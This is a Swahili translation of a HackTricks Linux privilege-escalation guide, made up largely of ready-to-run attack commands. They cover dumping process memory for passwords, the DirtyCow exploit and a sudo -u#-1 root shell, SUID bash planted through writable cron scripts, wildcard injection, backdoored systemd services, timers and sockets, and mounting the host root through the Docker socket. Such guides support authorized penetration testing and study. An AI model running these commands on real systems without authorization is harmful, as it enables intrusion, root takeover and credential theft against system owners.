Linux Privilege Escalation

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa za Mfumo

Taarifa za OS

Hebu tuanze kupata baadhi ya maarifa kuhusu OS inayotumika.

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Njia

Ikiwa una ruhusa ya kuandika kwenye folda yoyote ndani ya kipengee cha PATH unaweza kuiba baadhi ya maktaba au programu za kutekeleza:

echo $PATH

Taarifa za Mazingira

Je, kuna taarifa za kuvutia, nywila au funguo za API katika mazingira ya mazingira?

(env || set) 2>/dev/null

Mbinu za Kudukua Kernel

Angalia toleo la kernel na kama kuna mbinu ya kudukua inayoweza kutumika kuongeza mamlaka.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Unaweza kupata orodha nzuri ya kernel zenye mapungufu na baadhi ya mashambulizi yaliyoundwa tayari hapa: https://github.com/lucyoa/kernel-exploits na exploitdb sploits. Mitandao mingine ambapo unaweza kupata baadhi ya mashambulizi yaliyoundwa tayari: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Kuchambua toleo zote za kernel zenye mapungufu kutoka kwenye wavuti hiyo unaweza kufanya:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Vyombo vinavyoweza kusaidia kutafuta udhaifu wa kernel ni:

linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py (itekelezwe NDANI ya mhanga, huchunguza udhaifu kwa kernel 2.x)

Daima tafuta toleo la kernel kwenye Google, labda toleo lako la kernel limeandikwa kwenye baadhi ya udhaifu wa kernel na kisha utahakikisha kuwa udhaifu huu ni halali.

CVE-2016-5195 (DirtyCow)

Udhibiti wa Mamlaka wa Linux - Kernel ya Linux <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo toleo

Kulingana na matoleo hatarishi ya sudo yanayoonekana katika:

searchsploit sudo

Unaweza kuangalia kama toleo la sudo lina kasoro kwa kutumia grep hii.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

Kutoka kwa @sickrov

sudo -u#-1 /bin/bash

Uthibitisho wa saini ya Dmesg umeshindwa

Angalia sanduku la smasher2 la HTB kwa mfano wa jinsi hii udhaifu unaweza kutumiwa

dmesg 2>/dev/null | grep "signature"

Uchunguzi zaidi wa mfumo

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Piga hesabu ulinzi unaowezekana

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

Grsecurity ni zana yenye nguvu ya kuzuia upenyezaji wa mizizi kwa kutoa kinga za ziada kwenye mfumo wa Linux.

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

Execshield

Execshield ni kipengele cha usalama kilichojengwa kwenye kernel ya Linux ambacho huzuia mashambulizi ya buffer overflow kwa kuzuia sehemu ya kumbukumbu ya programu isiyoweza kutekelezwa.

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

SElinux

SElinux ni teknolojia ya usalama iliyojengwa kwenye kernel ya Linux ambayo inawezesha udhibiti wa upatikanaji wa rasilimali kwa kutumia sera za usalama.

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

ASLR (Address Space Layout Randomization) ni mbinu inayotumiwa katika ulinzi wa usalama wa mfumo wa uendeshaji. Inabadilisha mahali pa kumbukumbu muhimu katika mchakato wa programu kwa kufanya iwe ngumu kwa wadukuzi kutabiri mahali pa kumbukumbu na kufanya mashambulizi ya kufyeka.

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Kuvunja Docker

Ikiwa uko ndani ya kontena ya docker unaweza kujaribu kutoroka kutoka humo:

pageDocker Security

Madereva

Angalia nini kimeunganishwa na kimeunganishwa, wapi na kwa nini. Ikiwa kuna kitu kilichounganishwa unaweza kujaribu kuunganisha na kuangalia taarifa za kibinafsi

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Programu za Kufaa

Panga programu muhimu

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Pia, angalia ikiwa compiler yoyote imewekwa. Hii ni muhimu ikiwa unahitaji kutumia baadhi ya mbinu za kudukua kernel kwani inapendekezwa kuikusanya kwenye mashine ambayo utaitumia (au kwenye moja kama hiyo)

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Programu Zenye Udhaifu Zilizosakinishwa

Angalia toleo la pakiti na huduma zilizosakinishwa. Labda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumika kwa kufanya uwezekano wa kupata mamlaka zaidi... Inashauriwa kuangalia kwa mkono toleo la programu iliyosakinishwa ambayo inaonekana kuwa ya shaka zaidi.

dpkg -l #Debian
rpm -qa #Centos

Ikiwa una ufikiaji wa SSH kwenye mashine unaweza pia kutumia openVAS kuchunguza programu iliyopitwa na wakati na inayoweza kudhuriwa iliyosakinishwa kwenye mashine.

Taarifa kwamba amri hizi zitaonyesha habari nyingi ambazo kwa kiasi kikubwa hazitakuwa na maana, kwa hivyo inapendekezwa kutumia programu kama OpenVAS au sawa nayo itakayochunguza ikiwa toleo lolote la programu iliyosakinishwa linaweza kudhuriwa na mashambulizi yanayojulikana

Mchakato

Angalia mchakato gani unatekelezwa na uchunguze ikiwa mchakato wowote una mamlaka zaidi kuliko inavyopaswa (labda tomcat inatekelezwa na root?)

ps aux
ps -ef
top -n 1

Hakikisha kila wakati kuna debuggers za electron/cef/chromium zinazoendeshwa, unaweza kuzitumia kwa kujipandisha viwango vya ruhusa. Linpeas huchunguza hizo kwa kuangalia parameter --inspect ndani ya mstari wa amri ya mchakato. Pia angalia ruhusa zako kwenye binaries za michakato, labda unaweza kubadilisha faili ya mtu mwingine.

Ufuatiliaji wa Mchakato

Unaweza kutumia zana kama pspy kufuatilia michakato. Hii inaweza kuwa na manufaa sana kwa kutambua michakato dhaifu inayoendeshwa mara kwa mara au wakati seti fulani ya mahitaji inakidhiwa.

Kumbukumbu ya Mchakato

Baadhi ya huduma za seva hifadhi vitambulisho kwa maandishi wazi ndani ya kumbukumbu. Kawaida utahitaji ruhusa ya mizizi kusoma kumbukumbu ya michakato inayomilikiwa na watumiaji wengine, kwa hivyo hii kawaida ni muhimu zaidi unapokuwa tayari na ruhusa ya mizizi na unataka kugundua vitambulisho zaidi. Hata hivyo, kumbuka kwamba kama mtumiaji wa kawaida unaweza kusoma kumbukumbu ya michakato unayomiliki.

Tambua kwamba siku hizi mashine nyingi haziruhusu ptrace kwa chaguo-msingi ambayo inamaanisha huwezi kudump michakato mingine inayomilikiwa na mtumiaji wako asiye na ruhusa.

Faili /proc/sys/kernel/yama/ptrace_scope inadhibiti upatikanaji wa ptrace:

  • kernel.yama.ptrace_scope = 0: michakato yote inaweza kudebugiwa, mradi wawe na uid sawa. Hii ndiyo njia ya kawaida ya jinsi ptracing ilivyofanya kazi.

  • kernel.yama.ptrace_scope = 1: mchakato wa mzazi tu unaweza kudebugiwa.

  • kernel.yama.ptrace_scope = 2: Msimamizi pekee anaweza kutumia ptrace, kwani inahitaji uwezo wa CAP_SYS_PTRACE.

  • kernel.yama.ptrace_scope = 3: Hakuna michakato inayoweza kufuatiliwa na ptrace. Mara baada ya kuweka, ni lazima kuzima upya ili kuwezesha kufuatilia tena.

GDB

Ukiwa na ufikiaji wa kumbukumbu ya huduma ya FTP (kwa mfano) unaweza kupata Heap na kutafuta ndani ya vitambulisho vyake.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Skripti ya GDB

dump-memory.sh
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Kwa kitambulisho cha mchakato kilichopewa, ramani inaonyesha jinsi kumbukumbu inavyoendelezwa ndani ya nafasi ya anwani ya kielelezo cha mchakato huo; pia inaonyesha ruhusa ya kila eneo lililoendelezwa. Faili bandia ya mem inadhihirisha kumbukumbu za mchakato yenyewe. Kutoka kwa faili za ramani tunajua ni eneo gani la kumbukumbu linaloweza kusomwa na mapungufu yao. Tunatumia habari hii kwa kutafuta kwenye faili ya mem na kudondosha maeneo yanayoweza kusomwa yote kwenye faili.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem hutoa ufikiaji kwa kumbukumbu ya kimwili ya mfumo, siyo kumbukumbu ya kawaida. Nafasi ya anwani za kumbukumbu ya kawaida ya kernel inaweza kupatikana kwa kutumia /dev/kmem. Kawaida, /dev/mem inaweza kusomwa tu na mtumiaji wa root na kikundi cha kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump kwa linux

ProcDump ni kielelezo cha Linux cha zana ya kawaida ya ProcDump kutoka kwa seti ya zana za Sysinternals kwa Windows. Pata katika https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Vifaa

Kudumpisha kumbukumbu ya mchakato unaweza kutumia:

Sifa kutoka Kumbukumbu ya Mchakato

Mfano wa Kibinafsi

Ikiwa utagundua kuwa mchakato wa kuthibitisha unafanya kazi:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Unaweza kudondosha mchakato (angalia sehemu zilizotangulia kupata njia tofauti za kudondosha kumbukumbu ya mchakato) na kutafuta sifa ndani ya kumbukumbu:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Chombo https://github.com/huntergregal/mimipenguin kitapora vitambulisho vya maandishi wazi kutoka kumbukumbu na kutoka kwa baadhi ya faili maarufu. Inahitaji mamlaka ya mzizi ili kufanya kazi ipasavyo.

KipengeleJina la Mchakato

Nywila ya GDM (Kali Desktop, Debian Desktop)

gdm-password

Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)

gnome-keyring-daemon

LightDM (Ubuntu Desktop)

lightdm

VSFTPd (Mawasiliano ya FTP ya Moja kwa Moja)

vsftpd

Apache2 (Vikao vya Msingi vya HTTP vilivyo Hai)

apache2

OpenSSH (Vikao vya SSH vilivyo Hai - Matumizi ya Sudo)

sshd:

Tafuta Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Kazi za Kipangilio/Cron

Angalia kama kuna kazi ya kipangilio inayoweza kuwa na mapungufu. Labda unaweza kutumia script inayotekelezwa na root (vuln ya wildcard? unaweza kuhariri faili ambazo root anatumia? tumia viungo vya alama? tengeneza faili maalum kwenye saraka ambayo root anatumia?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Njia ya Cron

Kwa mfano, ndani ya /etc/crontab unaweza kupata PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Tafadhali kumbuka jinsi mtumiaji "user" ana ruhusa za kuandika juu ya /home/user)

Ikiwa ndani ya crontab hii mtumiaji wa root anajaribu kutekeleza amri au script bila kuweka njia. Kwa mfano: * * * * root overwrite.sh Kisha, unaweza kupata shell ya root kwa kutumia:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron kutumia script na wildcard (Wildcard Injection)

Ikiwa script inatekelezwa na root ina "*" ndani ya amri, unaweza kutumia hii kufanya mambo ambayo hayakutarajiwa (kama privesc). Mfano:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Ikiwa kichwa cha mshale kinafuatiwa na njia kama /baadhi/ya/njia/* , sio dhaifu (hata ./* sio).

Soma ukurasa ufuatao kwa mbinu zaidi za kutumia kichwa cha mshale:

pageWildcards Spare tricks

Kuandika upya skripti ya Cron na kiungo cha alama

Ikiwa unaweza kuhariri skripti ya cron inayotekelezwa na root, unaweza kupata kabisa kuingia kwa urahisi:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Ikiwa script inayotekelezwa na root inatumia directory ambapo una ufikiaji kamili, labda inaweza kuwa na manufaa kufuta folda hiyo na kuunda kiungo cha folda kwenda nyingine ikitoa script inayodhibitiwa na wewe

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Kazi za cron mara kwa mara

Unaweza kufuatilia michakato kutafuta michakato inayoendeshwa kila baada ya dakika 1, 2 au 5. Labda unaweza kunufaika nayo na kupandisha mamlaka.

Kwa mfano, kufuatilia kila baada ya 0.1s kwa dakika 1, panga kwa amri zilizoendeshwa kidogo na futa amri zilizoendeshwa zaidi, unaweza kufanya:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Unaweza pia kutumia pspy (hii itachunguza na kuorodhesha kila mchakato unaanza).

Majukumu ya cron yasiyoonekana

Inawezekana kuunda jukumu la cron kwa kuweka kurudi kiotomatiki baada ya maoni (bila herufi ya mstari mpya), na jukumu la cron litafanya kazi. Mfano (zingatia herufi ya kurudi kiotomatiki):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Huduma

Faili za .service zinazoweza Kuandikwa

Angalia kama unaweza kuandika faili yoyote ya .service, ikiwa unaweza, unaweza kuibadilisha ili itekeleze mlango wako wa nyuma wakati huduma inapoanza, inapoanzishwa upya au inaposimamishwa (labda utahitaji kusubiri hadi mashine ibadilishwe). Kwa mfano, tengeneza mlango wako wa nyuma ndani ya faili ya .service na ExecStart=/tmp/script.sh

Binaries za Huduma Zinazoweza Kuandikwa

Kumbuka kwamba ikiwa una ruhusa ya kuandika juu ya binaries zinazotekelezwa na huduma, unaweza kuzibadilisha kwa milango ya nyuma hivyo wakati huduma zinapopata kutekelezwa tena milango ya nyuma itatekelezwa.

systemd PATH - Njia za Kihesabu

Unaweza kuona NJIA inayotumiwa na systemd na:

systemctl show-environment

Ikiwa utagundua kwamba unaweza kuandika katika folda yoyote kwenye njia unaweza kuwa na uwezo wa kuinua mamlaka. Unahitaji kutafuta njia za kihusishi zinazotumiwa kwenye faili za mipangilio ya huduma kama:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Kisha, tengeneza faili inayoweza kutekelezwa yenye jina sawa na njia ya kihierarkia ya binary ndani ya folda ya PATH ya systemd unayoweza kuandika, na wakati huduma inapoombwa kutekeleza hatua ya kuwa na kasoro (Anza, Acha, Pakia tena), backdoor yako itatekelezwa (watumiaji wasio na ruhusa kawaida hawawezi kuanza/kuacha huduma lakini angalia kama unaweza kutumia sudo -l).

Jifunze zaidi kuhusu huduma kwa kutumia man systemd.service.

Majalibizwa (Timers)

Majalibizwa (Timers) ni faili za jedwali za systemd ambazo jina lake linamalizika kwa **.timer** ambazo huendesha faili au matukio ya **.service**. Majalibizwa (Timers) yanaweza kutumika kama mbadala wa cron kwani wana msaada wa kujengwa kwa matukio ya wakati wa kalenda na matukio ya wakati wa monotonic na yanaweza kukimbia kwa njia isiyo ya moja kwa moja.

Unaweza kuchambua majalibizwa yote kwa:

systemctl list-timers --all

Timers zinazoweza kuandikwa

Ikiwa unaweza kuhariri timer unaweza kufanya iendelee kutekeleza baadhi ya vitengo vya systemd (kama .service au .target) zilizopo.

Unit=backdoor.service

Katika hati ya maelezo unaweza kusoma ni nini Kitengo:

Kitengo cha kuamsha wakati huu wa kengele unapopita. Hoja ni jina la kitengo, ambalo sio ".timer". Ikiwa haielezwi, thamani hii inabadilika kiotomatiki kuwa huduma ambayo ina jina sawa na kitengo cha kengele, isipokuwa kwa kufikia mwisho. (Tazama hapo juu.) Inapendekezwa kwamba jina la kitengo kinachoamilishwa na jina la kitengo cha kengele vina majina sawa, isipokuwa kwa kufikia mwisho.

Kwa hivyo, ili kutumia ruhusa hii unahitaji:

  • Pata kitengo cha systemd (kama .service) ambacho kina utekelezaji wa faili inayoweza kuandikwa

  • Pata kitengo cha systemd ambacho kina utekelezaji wa njia ya kihesabu na una ruhusa za kuandika juu ya NJIA ya systemd (kujifanya kuwa utekelezaji huo)

Jifunze zaidi kuhusu muda na man systemd.timer.

Kuwezesha Kengele

Kuwezesha kengele unahitaji ruhusa ya mzizi na kutekeleza:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer  /lib/systemd/system/backu2.timer.

Tafadhali kumbuka timer ina anzishwa kwa kuunda symlink kwake kwenye /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) inawezesha mawasiliano ya mchakato kwenye mashine sawa au tofauti ndani ya mifano ya mteja-seva. Hutumia faili za maelezo za Unix za kawaida kwa mawasiliano kati ya kompyuta na huanzishwa kupitia faili za .socket.

Sockets zinaweza kusanidiwa kwa kutumia faili za .socket.

Jifunze zaidi kuhusu sockets na man systemd.socket. Ndani ya faili hii, vigezo kadhaa vya kuvutia vinaweza kusanidiwa:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Chaguo hizi ni tofauti lakini muhtasari hutumiwa kuonyesha mahali itakaposikiliza soketi (njia ya faili ya soketi ya AF_UNIX, anwani ya IPv4/6 na/au nambari ya bandari ya kusikiliza, n.k.)

  • Accept: Inachukua hoja ya boolean. Ikiwa ni kweli, kipengele cha huduma kinazalishwa kwa kila uunganisho unaoingia na soketi ya uunganisho pekee inapitishwa kwake. Ikiwa ni uwongo, soketi zote zinazosikiliza zenyewe zinapitishwa kwa kipengele cha huduma kilichoanzishwa, na kipengele kimoja cha huduma kinazalishwa kwa uunganisho wote. Thamani hii haizingatiwi kwa soketi za datagram na FIFO ambapo kipengele kimoja cha huduma kinashughulikia bila masharti trafiki yote inayoingia. Ina thamani ya uwongo. Kwa sababu za utendaji, inapendekezwa kuandika daemons mpya tu kwa njia inayofaa kwa Accept=no.

  • ExecStartPre, ExecStartPost: Inachukua mistari moja au zaidi ya amri, ambazo zina tekelezwa kabla ya au baada ya soketi za kusikiliza/FIFOs kuwa zimeundwa na kufungwa, mtawalia. Token ya kwanza ya mstari wa amri lazima iwe jina la faili kamili, kisha ikifuatiwa na hoja za mchakato.

  • ExecStopPre, ExecStopPost: Amri za ziada ambazo zinatekelezwa kabla ya au baada ya soketi za kusikiliza/FIFOs kuwa zimefungwa na kuondolewa, mtawalia.

  • Service: Inabainisha jina la kipengele cha huduma cha kuamilisha kwenye trafiki inayoingia. Mipangilio hii inaruhusiwa tu kwa soketi zenye Accept=no. Kwa kawaida inarudi kwa huduma inayobeba jina sawa na soketi (na kiambishi kilichobadilishwa). Katika hali nyingi, haitakuwa lazima kutumia chaguo hili.

Faili za .socket zenye uwezo wa kuandikwa

Ikiwa unapata faili ya .socket inayoweza kuandikwa, unaweza kuongeza mwanzoni mwa sehemu ya [Socket] kitu kama: ExecStartPre=/home/kali/sys/backdoor na mlango wa nyuma utatekelezwa kabla ya soketi kuundwa. Kwa hivyo, labda utahitaji kusubiri hadi mashine ibadilishwe. Tafadhali kumbuka kuwa mfumo lazima utumie usanidi wa faili ya soketi au mlango wa nyuma hautatekelezwa

Sockets zenye uwezo wa kuandikwa

Ikiwa unatambua soketi inayoweza kuandikwa (sasa tunazungumzia juu ya Sockets za Unix na sio kuhusu faili za usanidi .socket), basi unaweza kuwasiliana na soketi hiyo na labda kutumia udhaifu.

Panga Sockets za Unix

netstat -a -p --unix

Uunganisho ghafi

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Mfano wa Utekaji:

pageSocket Command Injection

Soketi za HTTP

Tafadhali elewa kwamba kunaweza kuwa na soketi zinazosikiliza maombi ya HTTP (Sisemi kuhusu faili za .socket bali faili zinazofanya kazi kama soketi za unix). Unaweza kuchunguza hili kwa kutumia:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Soketi Inapojibu ombi la HTTP

Ikiwa soketi inajibu ombi la HTTP, basi unaweza kuwasiliana nayo na labda kutumia udhaifu fulani.

Soketi ya Docker Inayoweza Kuandikwa

Soketi ya Docker, mara nyingi hupatikana kwenye /var/run/docker.sock, ni faili muhimu ambayo inapaswa kulindwa. Kwa chaguo-msingi, inaweza kuandikwa na mtumiaji wa root na wanachama wa kikundi cha docker. Kuwa na ufikiaji wa kuandika kwenye soketi hii kunaweza kusababisha ukuaji wa mamlaka. Hapa kuna maelezo ya jinsi hii inaweza kufanywa na njia mbadala ikiwa CLI ya Docker haipatikani.

Ukuaji wa Mamlaka na CLI ya Docker

Ikiwa una ufikiaji wa kuandika kwenye soketi ya Docker, unaweza kuongeza mamlaka kwa kutumia amri zifuatazo:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Kutumia Docker API Moja kwa Moja

Katika hali ambapo Docker CLI haipatikani, soketi ya Docker inaweza bado kudhibitiwa kwa kutumia Docker API na amri za curl.

  1. Orodhesha Picha za Docker: Pata orodha ya picha zilizopo.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Unda Kontena: Tuma ombi la kuunda kontena ambalo linamount saraka kuu ya mfumo wa mwenyeji.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Anza kontena ulilounda:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Ambatisha kwa Kontena: Tumia socat kuweka uhusiano na kontena, kuruhusu utekelezaji wa amri ndani yake.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Baada ya kuweka uhusiano wa socat, unaweza kutekeleza amri moja kwa moja kwenye kontena na ufikiaji wa kiwango cha mizizi kwenye mfumo wa mwenyeji.

Mambo Mengine

Tafadhali kumbuka kwamba ikiwa una ruhusa za kuandika juu ya soketi ya docker kwa sababu uko ndani ya kikundi cha docker una njia zaidi za kuongeza viwango vya ruhusa. Ikiwa API ya docker inasikiliza kwenye bandari unaweza pia kuweza kuishambulia.

Angalia njia zaidi za kuvunja kutoka kwa docker au kuitumia kuongeza viwango vya ruhusa katika:

pageDocker Security

Kupandisha Viwango vya Uruhusu kwa Containerd (ctr)

Ikiwa unagundua kwamba unaweza kutumia amri ya ctr soma ukurasa ufuatao kwani unaweza kuitumia kwa kuvuka viwango vya ruhusa:

pageContainerd (ctr) Privilege Escalation

Kupandisha Viwango vya Uruhusu kwa RunC

Ikiwa unagundua kwamba unaweza kutumia amri ya runc soma ukurasa ufuatao kwani unaweza kuitumia kwa kuvuka viwango vya ruhusa:

pageRunC Privilege Escalation

D-Bus

D-Bus ni mfumo wa Mawasiliano kati ya Michakato (IPC) wa kisasa ambao huruhusu programu kuingiliana na kushiriki data kwa ufanisi. Iliyoundwa kwa kuzingatia mfumo wa Linux wa kisasa, inatoa mfumo imara kwa aina tofauti za mawasiliano ya programu.

Mfumo huu ni mpana, ukisaidia IPC ya msingi ambayo inaboresha kubadilishana data kati ya michakato, ikikumbusha soketi za eneo la UNIX zilizoboreshwa. Zaidi ya hayo, inasaidia kutangaza matukio au ishara, ikisaidia ushirikiano laini kati ya sehemu za mfumo. Kwa mfano, ishara kutoka kwa kionyeshi cha Bluetooth kuhusu simu ya kuingia inaweza kusababisha mpiga muziki kuzima sauti, ikiboresha uzoefu wa mtumiaji. Aidha, D-Bus inasaidia mfumo wa vitu vya mbali, ikisimplisha maombi ya huduma na mwaliko wa njia kati ya programu, ikipunguza mchakato ambao kihistoria ulikuwa mgumu.

D-Bus inafanya kazi kwa mfano wa ruhusa/kataa, ikisimamia ruhusa za ujumbe (wito wa njia, kutuma ishara, n.k.) kulingana na athari jumla ya sheria za sera zinazolingana. Sera hizi hufafanua mwingiliano na basi, ikiruhusu kwa uwezekano wa kupandisha viwango vya ruhusa kupitia unyanyasaji wa ruhusa hizi.

Mfano wa sera kama hiyo katika /etc/dbus-1/system.d/wpa_supplicant.conf unatolewa, ukielezea ruhusa kwa mtumiaji wa mizizi kumiliki, kutuma kwa, na kupokea ujumbe kutoka kwa fi.w1.wpa_supplicant1.

Sera bila mtumiaji au kikundi kilichotajwa inatumika kwa kila mtu, wakati sera za muktadha "default" zinatumika kwa wote ambao hawajashughulikiwa na sera maalum zingine.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Jifunze jinsi ya kuchunguza na kutumia mawasiliano ya D-Bus hapa:

pageD-Bus Enumeration & Command Injection Privilege Escalation

Mtandao

Ni vyema siku zote kuchunguza mtandao na kubaini mahali pa mashine.

Uchunguzi wa kawaida

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Viokelea zilizofunguliwa

Daima hakikisha huduma za mtandao zinazoendeshwa kwenye mashine ambazo haukuweza kuingiliana nazo kabla ya kuzifikia:

